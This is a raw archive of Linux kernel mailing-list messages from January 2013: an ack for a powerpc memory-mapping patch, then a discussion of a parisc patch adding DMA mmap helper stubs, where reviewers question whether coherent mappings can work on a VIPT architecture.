Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 7/8] mm: use vm_unmapped_area() on powerpc architecture
Date: Wed, 09 Jan 2013 16:41:23 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <50EDE403.4070208@redhat.com>
References: <1357694895-520-1-git-send-email-walken@google.com> <1357694895-520-8-git-send-email-walken@google.com> <1357697739.4838.30.camel@pasglop> <CANN689EJV_7Q7J4j1ttDxZuqbwD53PAuCHb5DhiE-AVbmNSR7Q@mail.gmail.com> <1357702376.4838.32.camel@pasglop> <20130109112313.GA4905@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357768586 11152 80.91.229.3 (9 Jan 2013 21:56:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 21:56:26 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 22:56:40 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Tt3dW-0006PE-Ez
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 22:56:38 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 2595C6B005D; Wed,  9 Jan 2013 16:56:22 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 00B6C6B0072; Wed,  9 Jan 2013 16:56:21 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id AF7BB6B0074; Wed,  9 Jan 2013 16:56:21 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx142.postini.com [74.125.245.142])
	by kanga.kvack.org (Postfix) with SMTP id D94186B005D
	for <linux-mm@kvack.org>; Wed,  9 Jan 2013 16:56:20 -0500 (EST)
Original-Received: from mx1.redhat.com ([209.132.183.28]) (using TLSv1) by na3sys010amx142.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 21:56:20 GMT
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r09LfIGZ015100
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 Jan 2013 16:41:18 -0500
Original-Received: from cuia.bos.redhat.com (cuia.bos.redhat.com [10.16.184.35])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r09LfGm3028761;
	Wed, 9 Jan 2013 16:41:16 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Thunderbird/17.0
In-Reply-To: <20130109112313.GA4905@google.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <riel@redhat.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93118 gmane.linux.kernel:1419547 gmane.linux.ports.ppc64.devel:86921 gmane.linux.ports.parisc:4728 gmane.linux.ports.alpha:2001 gmane.linux.ports.ia64:22898
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93118>

On 01/09/2013 06:23 AM, Michel Lespinasse wrote:
> On Wed, Jan 09, 2013 at 02:32:56PM +1100, Benjamin Herrenschmidt wrote:
>> Ok. I think at least you can move that construct:
>>
>> +               if (addr < SLICE_LOW_TOP) {
>> +                       slice = GET_LOW_SLICE_INDEX(addr);
>> +                       addr = (slice + 1) << SLICE_LOW_SHIFT;
>> +                       if (!(available.low_slices & (1u << slice)))
>> +                               continue;
>> +               } else {
>> +                       slice = GET_HIGH_SLICE_INDEX(addr);
>> +                       addr = (slice + 1) << SLICE_HIGH_SHIFT;
>> +                       if (!(available.high_slices & (1u << slice)))
>> +                               continue;
>> +               }
>>
>> Into some kind of helper. It will probably compile to the same thing but
>> at least it's more readable and it will avoid a fuckup in the future if
>> somebody changes the algorithm and forgets to update one of the
>> copies :-)
>
> All right, does the following look more palatable then ?
> (didn't re-test it, though)

Looks equivalent. I have also not tested :)

> Signed-off-by: Michel Lespinasse <walken@google.com>

Acked-by: Rik van Riel <riel@redhat.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 8/9] parisc: Provide dma_mmap_coherent() and dma_get_sgtable()
Date: Sun, 13 Jan 2013 11:44:49 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <1358073890-3610-8-git-send-email-geert@linux-m68k.org>
References: <1358073890-3610-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1358073939 21442 80.91.229.3 (13 Jan 2013 10:45:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 10:45:39 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Marek Szyprowski <m.szyprowski@samsung.com>,
	linux-parisc@vger.kernel.org
To: linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Jan 13 11:45:53 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1TuL4X-00017f-Hn
	for glk-linux-kernel-3@plane.gmane.org; Sun, 13 Jan 2013 11:45:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754900Ab3AMKpN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 13 Jan 2013 05:45:13 -0500
Original-Received: from georges.telenet-ops.be ([195.130.137.68]:57499 "EHLO
	georges.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754555Ab3AMKpG (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 13 Jan 2013 05:45:06 -0500
Original-Received: from ayla.of.borg ([84.193.72.141])
	by georges.telenet-ops.be with bizsmtp
	id nNl31k00L32ts5g06Nl3Xp; Sun, 13 Jan 2013 11:45:04 +0100
Original-Received: from geert by ayla.of.borg with local (Exim 4.71)
	(envelope-from <geert@linux-m68k.org>)
	id 1TuL3n-0000xq-Qs; Sun, 13 Jan 2013 11:45:03 +0100
X-Mailer: git-send-email 1.7.0.4
In-Reply-To: <1358073890-3610-1-git-send-email-geert@linux-m68k.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1421135 gmane.linux.kernel.cross-arch:16385 gmane.linux.ports.parisc:4729
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1421135>

parisc/allmodconfig:

drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=98vb=
2_dc_mmap=E2=80=99:
drivers/media/v4l2-core/videobuf2-dma-contig.c:204: error: implicit dec=
laration of function =E2=80=98dma_mmap_coherent=E2=80=99
drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=98vb=
2_dc_get_base_sgt=E2=80=99:
drivers/media/v4l2-core/videobuf2-dma-contig.c:387: error: implicit dec=
laration of function =E2=80=98dma_get_sgtable=E2=80=99

=46or architectures using dma_map_ops, dma_mmap_coherent() and
dma_get_sgtable() are provided in <asm-generic/dma-mapping-common.h>.

Parisc does not use dma_map_ops, hence it should implement them as inli=
ne
stubs using dma_common_mmap() and dma_common_get_sgtable().

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Marek Szyprowski <m.szyprowski@samsung.com>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/include/asm/dma-mapping.h |   10 ++++++++++
 1 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/includ=
e/asm/dma-mapping.h
index 467bbd5..1fac0bf 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -238,4 +238,14 @@ void * sba_get_iommu(struct parisc_device *dev);
 /* At the moment, we panic on error for IOMMU resource exaustion */
 #define dma_mapping_error(dev, x)	0
=20
+/* drivers/base/dma-mapping.c */
+extern int dma_common_mmap(struct device *dev, struct vm_area_struct *=
vma,
+			   void *cpu_addr, dma_addr_t dma_addr, size_t size);
+extern int dma_common_get_sgtable(struct device *dev, struct sg_table =
*sgt,
+				  void *cpu_addr, dma_addr_t dma_addr,
+				  size_t size);
+
+#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v, c, h, s=
)
+#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d, t, v,=
 h, s)
+
 #endif
--=20
1.7.0.4


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 8/9] parisc: Provide dma_mmap_coherent() and
 dma_get_sgtable()
Date: Sun, 13 Jan 2013 11:36:41 +0000
Lines: 64
Approved: news@gmane.org
Message-ID: <1358077001.3065.14.camel@dabdike.int.hansenpartnership.com>
References: <1358073890-3610-1-git-send-email-geert@linux-m68k.org>
	 <1358073890-3610-8-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1358077009 15135 80.91.229.3 (13 Jan 2013 11:36:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 11:36:49 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marek Szyprowski <m.szyprowski@samsung.com>,
	linux-parisc@vger.kernel.org
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-arch-owner@vger.kernel.org Sun Jan 13 12:37:06 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1TuLs9-0008IR-GS
	for glka-linux-arch@plane.gmane.org; Sun, 13 Jan 2013 12:37:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754620Ab3AMLgp convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 13 Jan 2013 06:36:45 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46008 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754617Ab3AMLgp (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Sun, 13 Jan 2013 06:36:45 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D659C8EE0DF;
	Sun, 13 Jan 2013 03:36:44 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2C2ASMj75uBw; Sun, 13 Jan 2013 03:36:44 -0800 (PST)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 79FBD8EE0A2;
	Sun, 13 Jan 2013 03:36:43 -0800 (PST)
In-Reply-To: <1358073890-3610-8-git-send-email-geert@linux-m68k.org>
X-Mailer: Evolution 3.6.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:16391 gmane.linux.kernel:1421142 gmane.linux.ports.parisc:4730
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/16391>

On Sun, 2013-01-13 at 11:44 +0100, Geert Uytterhoeven wrote:
> parisc/allmodconfig:
>=20
> drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=98=
vb2_dc_mmap=E2=80=99:
> drivers/media/v4l2-core/videobuf2-dma-contig.c:204: error: implicit d=
eclaration of function =E2=80=98dma_mmap_coherent=E2=80=99
> drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=98=
vb2_dc_get_base_sgt=E2=80=99:
> drivers/media/v4l2-core/videobuf2-dma-contig.c:387: error: implicit d=
eclaration of function =E2=80=98dma_get_sgtable=E2=80=99
>=20
> For architectures using dma_map_ops, dma_mmap_coherent() and
> dma_get_sgtable() are provided in <asm-generic/dma-mapping-common.h>.
>=20
> Parisc does not use dma_map_ops, hence it should implement them as in=
line
> stubs using dma_common_mmap() and dma_common_get_sgtable().
>=20
> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
> Cc: Marek Szyprowski <m.szyprowski@samsung.com>
> Cc: linux-parisc@vger.kernel.org
> ---
>  arch/parisc/include/asm/dma-mapping.h |   10 ++++++++++
>  1 files changed, 10 insertions(+), 0 deletions(-)
>=20
> diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/incl=
ude/asm/dma-mapping.h
> index 467bbd5..1fac0bf 100644
> --- a/arch/parisc/include/asm/dma-mapping.h
> +++ b/arch/parisc/include/asm/dma-mapping.h
> @@ -238,4 +238,14 @@ void * sba_get_iommu(struct parisc_device *dev);
>  /* At the moment, we panic on error for IOMMU resource exaustion */
>  #define dma_mapping_error(dev, x)	0
> =20
> +/* drivers/base/dma-mapping.c */
> +extern int dma_common_mmap(struct device *dev, struct vm_area_struct=
 *vma,
> +			   void *cpu_addr, dma_addr_t dma_addr, size_t size);
> +extern int dma_common_get_sgtable(struct device *dev, struct sg_tabl=
e *sgt,
> +				  void *cpu_addr, dma_addr_t dma_addr,
> +				  size_t size);
> +
> +#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v, c, h,=
 s)
> +#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d, t, =
v, h, s)

What is the documentation around these functions?  The name sounds
suspiciously like you want a mapping of a buffer coherent between kerne=
l
and user space, which doesn't seem possible for us given the API.  We'r=
e
a VIPT architecture, so the only way we can do this is to have the
actual vma user space address be congruent with cpu_addr.  How do we do
that if the vma and kernel addresses are already fixed?

In other words, either the interface is unusable by parisc, or the
common code definitely won't work for us.

James



From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 8/9] parisc: Provide dma_mmap_coherent() and dma_get_sgtable()
Date: Sun, 13 Jan 2013 14:12:24 +0100
Lines: 86
Approved: news@gmane.org
Message-ID: <CAMuHMdVvRmNZS_L8-kYm4VGexD3h=nW4wC266cu7VAxJFx+-oA@mail.gmail.com>
References: <1358073890-3610-1-git-send-email-geert@linux-m68k.org>
	<1358073890-3610-8-git-send-email-geert@linux-m68k.org>
	<1358077001.3065.14.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1358082752 30948 80.91.229.3 (13 Jan 2013 13:12:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 13:12:32 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marek Szyprowski <m.szyprowski@samsung.com>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Sun Jan 13 14:12:49 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1TuNMl-0002Ik-4Q
	for glka-linux-arch@plane.gmane.org; Sun, 13 Jan 2013 14:12:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755241Ab3AMNM1 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 13 Jan 2013 08:12:27 -0500
Original-Received: from mail-vc0-f173.google.com ([209.85.220.173]:60131 "EHLO
	mail-vc0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755240Ab3AMNM0 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Sun, 13 Jan 2013 08:12:26 -0500
Original-Received: by mail-vc0-f173.google.com with SMTP id f13so2777430vcb.18
        for <multiple recipients>; Sun, 13 Jan 2013 05:12:25 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=Xxp7KgJeuEnwqnMKArYdkl0kHNhHmQY8vyaSev1zcb4=;
        b=ifdoOAVtW3fz2pN4rdkDi9pDe4a/E48wXkcB3fPeLq04rihAt+2Ee4DoxSewcmxfyD
         2kre0mmFV6Ez69uJZcPOID+EPFr3fC8XoajANjqFtgBSkbFGHTsK+8JcThykLiVExe22
         moVANmazAd4IrbBxOu+pXhcJccfBWx2wU79tGCA4hi5x6/N0rKMLPhcK530Ig8+ZLr46
         eTzWNKM9iNM8vIlD5dZbxC8Vpv1VEmTfo/cC++0K9VNoI/pPlizbE63y1hV+AYtejZZi
         ItOem7RktnrdehoDhYl8iVXqVqpLWTA98sOo2/bm+gmojRDeSYgju+qkAxcWM3m5rBwx
         RmFg==
Original-Received: by 10.52.74.227 with SMTP id x3mr17910544vdv.80.1358082744578; Sun,
 13 Jan 2013 05:12:24 -0800 (PST)
Original-Received: by 10.58.228.71 with HTTP; Sun, 13 Jan 2013 05:12:24 -0800 (PST)
In-Reply-To: <1358077001.3065.14.camel@dabdike.int.hansenpartnership.com>
X-Google-Sender-Auth: JiEDHdozluL7OdIjP1VxZoB9bw4
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:16392 gmane.linux.kernel:1421153 gmane.linux.ports.parisc:4731
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/16392>

On Sun, Jan 13, 2013 at 12:36 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Sun, 2013-01-13 at 11:44 +0100, Geert Uytterhoeven wrote:
>> parisc/allmodconfig:
>>
>> drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=98=
vb2_dc_mmap=E2=80=99:
>> drivers/media/v4l2-core/videobuf2-dma-contig.c:204: error: implicit =
declaration of function =E2=80=98dma_mmap_coherent=E2=80=99
>> drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=98=
vb2_dc_get_base_sgt=E2=80=99:
>> drivers/media/v4l2-core/videobuf2-dma-contig.c:387: error: implicit =
declaration of function =E2=80=98dma_get_sgtable=E2=80=99
>>
>> For architectures using dma_map_ops, dma_mmap_coherent() and
>> dma_get_sgtable() are provided in <asm-generic/dma-mapping-common.h>=
=2E
>>
>> Parisc does not use dma_map_ops, hence it should implement them as i=
nline
>> stubs using dma_common_mmap() and dma_common_get_sgtable().
>>
>> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
>> Cc: Marek Szyprowski <m.szyprowski@samsung.com>
>> Cc: linux-parisc@vger.kernel.org
>> ---
>>  arch/parisc/include/asm/dma-mapping.h |   10 ++++++++++
>>  1 files changed, 10 insertions(+), 0 deletions(-)
>>
>> diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/inc=
lude/asm/dma-mapping.h
>> index 467bbd5..1fac0bf 100644
>> --- a/arch/parisc/include/asm/dma-mapping.h
>> +++ b/arch/parisc/include/asm/dma-mapping.h
>> @@ -238,4 +238,14 @@ void * sba_get_iommu(struct parisc_device *dev)=
;
>>  /* At the moment, we panic on error for IOMMU resource exaustion */
>>  #define dma_mapping_error(dev, x)    0
>>
>> +/* drivers/base/dma-mapping.c */
>> +extern int dma_common_mmap(struct device *dev, struct vm_area_struc=
t *vma,
>> +                        void *cpu_addr, dma_addr_t dma_addr, size_t=
 size);
>> +extern int dma_common_get_sgtable(struct device *dev, struct sg_tab=
le *sgt,
>> +                               void *cpu_addr, dma_addr_t dma_addr,
>> +                               size_t size);
>> +
>> +#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v, c, h=
, s)
>> +#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d, t,=
 v, h, s)
>
> What is the documentation around these functions?  The name sounds
> suspiciously like you want a mapping of a buffer coherent between ker=
nel
> and user space, which doesn't seem possible for us given the API.  We=
're
> a VIPT architecture, so the only way we can do this is to have the
> actual vma user space address be congruent with cpu_addr.  How do we =
do
> that if the vma and kernel addresses are already fixed?

I was already afraid of this when seeing the "coherent" in the naming..=
=2E

> In other words, either the interface is unusable by parisc, or the
> common code definitely won't work for us.

So you probably want a static inline function that returns -EINVAL for =
now?

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
                                -- Linus Torvalds

From - Thu Nov 08 21:08:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 8/9] parisc: Provide dma_mmap_coherent() and
 dma_get_sgtable()
Date: Sun, 13 Jan 2013 13:49:32 +0000
Lines: 90
Approved: news@gmane.org
Message-ID: <1358084972.3065.18.camel@dabdike.int.hansenpartnership.com>
References: <1358073890-3610-1-git-send-email-geert@linux-m68k.org>
	 <1358073890-3610-8-git-send-email-geert@linux-m68k.org>
	 <1358077001.3065.14.camel@dabdike.int.hansenpartnership.com>
	 <CAMuHMdVvRmNZS_L8-kYm4VGexD3h=nW4wC266cu7VAxJFx+-oA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1358084982 17579 80.91.229.3 (13 Jan 2013 13:49:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 13:49:42 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marek Szyprowski <m.szyprowski@samsung.com>,
	linux-parisc@vger.kernel.org
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-arch-owner@vger.kernel.org Sun Jan 13 14:49:58 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1TuNwh-0007VN-RY
	for glka-linux-arch@plane.gmane.org; Sun, 13 Jan 2013 14:49:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754803Ab3AMNtg convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 13 Jan 2013 08:49:36 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46191 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754795Ab3AMNtg (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Sun, 13 Jan 2013 08:49:36 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C2ED58EE0DF;
	Sun, 13 Jan 2013 05:49:35 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id HqduQXDMm5Rp; Sun, 13 Jan 2013 05:49:35 -0800 (PST)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 603928EE0A2;
	Sun, 13 Jan 2013 05:49:34 -0800 (PST)
In-Reply-To: <CAMuHMdVvRmNZS_L8-kYm4VGexD3h=nW4wC266cu7VAxJFx+-oA@mail.gmail.com>
X-Mailer: Evolution 3.6.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:16393 gmane.linux.kernel:1421155 gmane.linux.ports.parisc:4732
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/16393>

On Sun, 2013-01-13 at 14:12 +0100, Geert Uytterhoeven wrote:
> On Sun, Jan 13, 2013 at 12:36 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > On Sun, 2013-01-13 at 11:44 +0100, Geert Uytterhoeven wrote:
> >> parisc/allmodconfig:
> >>
> >> drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=
=98vb2_dc_mmap=E2=80=99:
> >> drivers/media/v4l2-core/videobuf2-dma-contig.c:204: error: implici=
t declaration of function =E2=80=98dma_mmap_coherent=E2=80=99
> >> drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=
=98vb2_dc_get_base_sgt=E2=80=99:
> >> drivers/media/v4l2-core/videobuf2-dma-contig.c:387: error: implici=
t declaration of function =E2=80=98dma_get_sgtable=E2=80=99
> >>
> >> For architectures using dma_map_ops, dma_mmap_coherent() and
> >> dma_get_sgtable() are provided in <asm-generic/dma-mapping-common.=
h>.
> >>
> >> Parisc does not use dma_map_ops, hence it should implement them as=
 inline
> >> stubs using dma_common_mmap() and dma_common_get_sgtable().
> >>
> >> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
> >> Cc: Marek Szyprowski <m.szyprowski@samsung.com>
> >> Cc: linux-parisc@vger.kernel.org
> >> ---
